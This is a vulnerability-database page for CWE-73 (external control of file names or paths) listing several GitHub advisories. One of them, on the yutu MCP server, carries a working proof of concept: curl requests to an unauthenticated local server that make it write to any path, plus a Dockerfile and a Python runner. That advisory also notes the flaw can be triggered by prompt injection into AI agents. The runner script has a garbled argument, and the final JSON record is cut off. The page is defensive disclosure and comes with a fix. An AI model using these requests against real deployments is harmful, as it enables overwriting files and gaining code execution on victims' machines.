Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

914 vulnerabilities reference this CWE, most recent first.

GHSA-2566-FQ23-672G

Vulnerability from github – Published: 2024-01-10 18:30 – Updated: 2025-11-04 21:31
VLAI
Details

An information disclosure vulnerability exists in the image404Raw.php functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-49738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-10T16:15:48Z",
    "severity": "HIGH"
  },
  "details": "An information disclosure vulnerability exists in the image404Raw.php functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.",
  "id": "GHSA-2566-fq23-672g",
  "modified": "2025-11-04T21:31:01Z",
  "published": "2024-01-10T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49738"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1881"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1881"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-26C4-7VV6-867J

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31
VLAI
Details

Keras versions up to and including 3.13.2 are vulnerable to an arbitrary HDF5 file read due to an incomplete fix for CVE-2026-1669. The vulnerability resides in the H5IOStore._verify_dataset() and file_editor.py methods, which fail to check the dataset.is_virtual property of HDF5 datasets. This allows an attacker to craft a malicious .keras model archive or .h5 weights file containing a Virtual Dataset (VDS) that references external HDF5 files on the victim's filesystem. When the victim loads the model using keras.models.load_model() or keras.saving.load_model(), the external file is transparently read, leading to potential information disclosure. Fixed in versions 3.12.2 and 3.14.1.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T17:16:19Z",
    "severity": "MODERATE"
  },
  "details": "Keras versions up to and including 3.13.2 are vulnerable to an arbitrary HDF5 file read due to an incomplete fix for CVE-2026-1669. The vulnerability resides in the `H5IOStore._verify_dataset()` and `file_editor.py` methods, which fail to check the `dataset.is_virtual` property of HDF5 datasets. This allows an attacker to craft a malicious `.keras` model archive or `.h5` weights file containing a Virtual Dataset (VDS) that references external HDF5 files on the victim\u0027s filesystem. When the victim loads the model using `keras.models.load_model()` or `keras.saving.load_model()`, the external file is transparently read, leading to potential information disclosure. Fixed in versions 3.12.2 and 3.14.1.",
  "id": "GHSA-26c4-7vv6-867j",
  "modified": "2026-07-01T18:31:51Z",
  "published": "2026-07-01T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/commit/d5a88bdb137c0d3039b8f4bbbe8c7099925cc10c"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/1875d257-5b03-4a69-ac70-e98653fa12c7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-26QV-P8CR-JXP5

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-10-22 00:33
VLAI
Details

External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-33053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T17:22:18Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.",
  "id": "GHSA-26qv-p8cr-jxp5",
  "modified": "2025-10-22T00:33:18Z",
  "published": "2025-06-10T18:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33053"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33053"
    },
    {
      "type": "WEB",
      "url": "https://research.checkpoint.com/2025/stealth-falcon-zero-day"
    },
    {
      "type": "WEB",
      "url": "https://therecord.media/microsoft-cisa-zero-day-turkish-defense-org"
    },
    {
      "type": "WEB",
      "url": "https://www.bleepingcomputer.com/news/security/stealth-falcon-hackers-exploited-windows-webdav-zero-day-to-drop-malware"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33053"
    },
    {
      "type": "WEB",
      "url": "https://www.darkreading.com/vulnerabilities-threats/stealth-falcon-apt-exploits-microsoft-rce-zero-day-mideast"
    },
    {
      "type": "WEB",
      "url": "https://www.theregister.com/2025/06/10/microsoft_patch_tuesday_june"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-33053-detection-script-remote-code-execution-vulnerability-in-microsoft-webdav"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-33053-mitigation-script-remote-code-execution-vulnerability-in-microsoft-webdav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-276G-H5JG-VH27

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

A security flaw has been discovered in Campcodes Recruitment Management System 1.0. This impacts the function include of the file /admin/index.php. The manipulation of the argument page results in file inclusion. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-9920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-03T16:15:43Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in Campcodes Recruitment Management System 1.0. This impacts the function include of the file /admin/index.php. The manipulation of the argument page results in file inclusion. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.",
  "id": "GHSA-276g-h5jg-vh27",
  "modified": "2025-09-09T18:31:12Z",
  "published": "2025-09-09T18:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chenjunjie3/cve/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.322321"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.322321"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.642407"
    },
    {
      "type": "WEB",
      "url": "https://www.campcodes.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2844-P28C-WCJ6

Vulnerability from github – Published: 2026-07-03 03:34 – Updated: 2026-07-03 03:34
VLAI
Details

External Control of File Name or Path vulnerability in ASUS Business Manager allows a local user to execute arbitrary code with SYSTEM privileges via a tampered IPC message. Refer to the ' Security Update for ASUS Business Manager ' section on the ASUS Security Advisory for more information.

Severity
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-03T03:16:23Z",
    "severity": "HIGH"
  },
  "details": "External Control of File Name or Path vulnerability in ASUS Business Manager allows a local user to execute arbitrary code with SYSTEM privileges via a tampered IPC message.\nRefer to the \u0027\nSecurity Update for ASUS Business Manager\u00a0\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-2844-p28c-wcj6",
  "modified": "2026-07-03T03:34:13Z",
  "published": "2026-07-03T03:34:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8921"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-285C-CC6Q-HWFF

Vulnerability from github – Published: 2026-07-15 03:32 – Updated: 2026-07-15 03:32
VLAI
Details

Improper Restriction of Communication Channel to Intended Endpoints and External Control of File Name or Path in Aura Wallpaper Service allow a local user to perform file operations by sending crafted commands containing an arbitrary file path and bypassing the service’s path restrictions . On specific models , this can also cause a single feature to become unavailable . Refer to the ' Security Update for Aura Wallpaper Service ' section on the ASUS Security Advisory for more information.

Severity
8.5 (High)
CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T02:22:57Z",
    "severity": "HIGH"
  },
  "details": "Improper Restriction of Communication Channel to Intended Endpoints and External Control of File Name or Path in Aura Wallpaper Service allow a local user to perform file operations by sending crafted commands containing an arbitrary file path and bypassing the service\u2019s path restrictions . On specific models , this can also cause a single feature to become unavailable .\nRefer to the \u0027\u00a0Security Update for Aura Wallpaper Service\u00a0\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-285c-cc6q-hwff",
  "modified": "2026-07-15T03:32:51Z",
  "published": "2026-07-15T03:32:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8920"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2C7F-FXWW-6W6C

Vulnerability from github – Published: 2026-07-14 19:34 – Updated: 2026-07-14 19:34
VLAI
Summary
yutu: Arbitrary File Write via MCP `caption-download` Tool
Details

Arbitrary File Write via MCP caption-download Tool

Summary

The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.

Details

yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:

Method Sink Confined?
Caption.Insert() pkg.Root.Open(c.File) (caption.go:109) Yes
Caption.Update() pkg.Root.Open(c.File) (caption.go:193) Yes
Caption.Download() os.Create(c.File) (caption.go:272) No

Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:

  1. Source — cmd/caption/download.go:32–41: downloadInSchema declares file as a required string field in the MCP JSON input schema.
  2. Binding — cmd/caption/download.go:61–64: cobramcp.GenToolHandler maps MCP input to input.Download(writer).
  3. Sink — pkg/caption/caption.go:272: os.Create(c.File) creates or truncates the file at the attacker-supplied path.
  4. Write — pkg/caption/caption.go:280: file.Write(body) writes the downloaded caption bytes to that path.
// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
    Required: []string{"ids", "file"},          // line 34
    // ...
    "file": {Type: "string", Description: fileUsage},  // line 40
}

// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
    return input.Download(writer)
})

// pkg/caption/caption.go
body, err := io.ReadAll(res.Body)   // line 267
file, err := os.Create(c.File)      // line 272  ← unconfined sink
// ...
_, err = file.Write(body)           // line 280

The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.

Recommended fix:

--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
-       file, err := os.Create(c.File)
+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
        if err != nil {
                return errors.Join(errDownloadCaption, err)
        }

PoC

Prerequisites: - yutu 0.0.0-dev / commit 351c99d - Valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN available - yutu MCP server running in HTTP mode

Docker-based reproduction (no live credentials needed):

The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.

# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc \
    -f vuln-001/Dockerfile \
    reports/mcp_49_eat-pray-ai__yutu

docker run --rm yutu-vuln001-poc

Expected output confirms: - pkg.Root.Open("/tmp/poc-arbitrary-write.txt") is correctly rejected with path escapes from parent (control). - caption.Download() with file="/tmp/poc-arbitrary-write.txt" succeeds and creates a 79-byte file outside YUTU_ROOT (exploit).

Live MCP server reproduction:

# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216

# Initialise session
curl -sD /tmp/yutu.headers \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
  >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')

# Exploit: write caption to arbitrary path
# Replace CAPTION_ID with a caption id accessible by the configured token
curl -s \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  ${SID:+-H "Mcp-Session-Id: $SID"} \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verify file was written outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Impact

This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.

Potential consequences include: - Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution. - Corrupting log files or database files to cause denial of service. - Writing web-accessible files in deployments where yutu runs alongside a web server. - Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the file parameter is fully attacker-controlled with no guardrails.

Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.

Reproduction artifacts

Dockerfile

# VULN-001 PoC Dockerfile
# Build con: reports/mcp_49_eat-pray-ai__yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc_main.go)

FROM golang:1.26 AS builder
WORKDIR /build

# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .

# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc_exploit
COPY vuln-001/poc_main.go cmd/poc_exploit/main.go

# Build the PoC binary (static, no CGO needed)
RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/

# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim

COPY --from=builder /poc /poc

# YUTU_ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU_ROOT=/tmp/yutu_safe_root

RUN mkdir -p /tmp/yutu_safe_root

CMD ["/poc"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement

Usage: python3 poc.py
"""
import os
import subprocess
import sys

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_NAME = "yutu-vuln001-poc"


def run(cmd, check=False, **kwargs):
 print("$ " + " ".join(str(a) for a in cmd))
 result = subprocess.run(cmd, =True, **kwargs)
 return result


def main():
 print("=" * 70)
 print("VULN-001: Arbitrary File Write via MCP caption-download")
 print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
 print("=" * 70)

 # ── Build ────────────────────────────────────────────────────────────────
 build_cmd = [
 "docker", "build",
 "--no-cache",
 "-t", IMAGE_NAME,
 "-f", DOCKERFILE,
 CONTEXT_DIR,
 ]
 print("\n[Step 1] Building Docker image ...")
 result = run(build_cmd, capture_output=False)
 if result.returncode != 0:
 print("\n[FAIL] Docker build failed.", file=sys.stderr)
 sys.exit(1)

 # ── Run ──────────────────────────────────────────────────────────────────
 run_cmd = ["docker", "run", "--rm", IMAGE_NAME]
 print("\n[Step 2] Running PoC container ...")
 result = run(run_cmd, capture_output=True)

 stdout = result.stdout or ""
 stderr = result.stderr or ""
 print(stdout, end="")
 if stderr:
 print(stderr, end="", file=sys.stderr)

 # ── Verdict ──────────────────────────────────────────────────────────────
 passed = (
 result.returncode == 0
 and "VULNERABILITY CONFIRMED" in stdout
 and "PASS" in stdout
 and "os.Create bypasses pkg.Root" in stdout
 )

 if passed:
 print("\n[RESULT] PASS – vulnerability dynamically reproduced.")
 else:
 print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr)
 sys.exit(1)


if __name__ == "__main__":
 main()
Severity
7.7 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/eat-pray-ai/yutu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.9-dev1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:34:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary File Write via MCP `caption-download` Tool\n\n### Summary\n\nThe `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker \u2014 or any process able to reach the HTTP MCP server \u2014 can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact.\n\n### Details\n\nyutu uses `pkg.Root` (backed by Go 1.24\u0027s `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary:\n\n| Method | Sink | Confined? |\n|--------|------|-----------|\n| `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes |\n| `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes |\n| `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** |\n\n`Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call:\n\n1. **Source** \u2014 `cmd/caption/download.go:32\u201341`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema.\n2. **Binding** \u2014 `cmd/caption/download.go:61\u201364`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`.\n3. **Sink** \u2014 `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path.\n4. **Write** \u2014 `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path.\n\n```go\n// cmd/caption/download.go\nvar downloadInSchema = \u0026jsonschema.Schema{\n    Required: []string{\"ids\", \"file\"},          // line 34\n    // ...\n    \"file\": {Type: \"string\", Description: fileUsage},  // line 40\n}\n\n// cobramcp.GenToolHandler binds MCP \u2192 handler (line 61-64)\ncobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {\n    return input.Download(writer)\n})\n\n// pkg/caption/caption.go\nbody, err := io.ReadAll(res.Body)   // line 267\nfile, err := os.Create(c.File)      // line 272  \u2190 unconfined sink\n// ...\n_, err = file.Write(body)           // line 280\n```\n\nThe `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers.\n\n**Recommended fix:**\n\n```diff\n--- a/pkg/caption/caption.go\n+++ b/pkg/caption/caption.go\n@@\n-       file, err := os.Create(c.File)\n+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n        if err != nil {\n                return errors.Join(errDownloadCaption, err)\n        }\n```\n\n### PoC\n\n**Prerequisites:**\n- yutu `0.0.0-dev` / commit `351c99d`\n- Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available\n- yutu MCP server running in HTTP mode\n\n**Docker-based reproduction (no live credentials needed):**\n\nThe self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary.\n\n```bash\n# From the report workspace root:\ndocker build --no-cache -t yutu-vuln001-poc \\\n    -f vuln-001/Dockerfile \\\n    reports/mcp_49_eat-pray-ai__yutu\n\ndocker run --rm yutu-vuln001-poc\n```\n\nExpected output confirms:\n- `pkg.Root.Open(\"/tmp/poc-arbitrary-write.txt\")` is correctly rejected with `path escapes from parent` (control).\n- `caption.Download()` with `file=\"/tmp/poc-arbitrary-write.txt\"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit).\n\n**Live MCP server reproduction:**\n\n```bash\n# Start the HTTP MCP server (no auth by default)\nyutu mcp --mode http --port 8216\n\n# Initialise session\ncurl -sD /tmp/yutu.headers \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  http://localhost:8216/mcp \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}\u0027 \\\n  \u003e/tmp/yutu.init\n\nSID=$(awk \u0027tolower($1)==\"mcp-session-id:\"{print $2}\u0027 /tmp/yutu.headers | tr -d \u0027\\r\u0027)\n\n# Exploit: write caption to arbitrary path\n# Replace CAPTION_ID with a caption id accessible by the configured token\ncurl -s \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  ${SID:+-H \"Mcp-Session-Id: $SID\"} \\\n  http://localhost:8216/mcp \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"caption-download\",\"arguments\":{\"ids\":[\"CAPTION_ID\"],\"file\":\"/tmp/yutu-cve-poc.srt\",\"tfmt\":\"srt\"}}}\u0027\n\n# Verify file was written outside YUTU_ROOT\ntest -s /tmp/yutu-cve-poc.srt \u0026\u0026 ls -l /tmp/yutu-cve-poc.srt\n```\n\n### Impact\n\nThis is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool \u2014 including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) \u2014 can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect.\n\n**Potential consequences include:**\n- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.\n- Corrupting log files or database files to cause denial of service.\n- Writing web-accessible files in deployments where yutu runs alongside a web server.\n- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails.\n\nImpacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile\n# Build con: reports/mcp_49_eat-pray-ai__yutu/\n# repo/ - the cloned yutu repository\n# vuln-001/ - this workspace (Dockerfile, poc_main.go)\n\nFROM golang:1.26 AS builder\nWORKDIR /build\n\n# Copy the yutu source tree (provides the vulnerable packages)\nCOPY repo/ .\n\n# Inject PoC as a new command package (does not modify existing source)\nRUN mkdir -p cmd/poc_exploit\nCOPY vuln-001/poc_main.go cmd/poc_exploit/main.go\n\n# Build the PoC binary (static, no CGO needed)\nRUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/\n\n# \u2500\u2500 Runtime stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM debian:12-slim\n\nCOPY --from=builder /poc /poc\n\n# YUTU_ROOT defines the pkg.Root confinement boundary.\n# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,\n# demonstrating the os.Create bypass.\nENV YUTU_ROOT=/tmp/yutu_safe_root\n\nRUN mkdir -p /tmp/yutu_safe_root\n\nCMD [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC Runner\nExploit: Arbitrary File Write via MCP caption-download (CWE-73)\nTarget : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement\n\nUsage: python3 poc.py\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nIMAGE_NAME = \"yutu-vuln001-poc\"\n\n\ndef run(cmd, check=False, **kwargs):\n print(\"$ \" + \" \".join(str(a) for a in cmd))\n result = subprocess.run(cmd, =True, **kwargs)\n return result\n\n\ndef main():\n print(\"=\" * 70)\n print(\"VULN-001: Arbitrary File Write via MCP caption-download\")\n print(\"CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)\")\n print(\"=\" * 70)\n\n # \u2500\u2500 Build 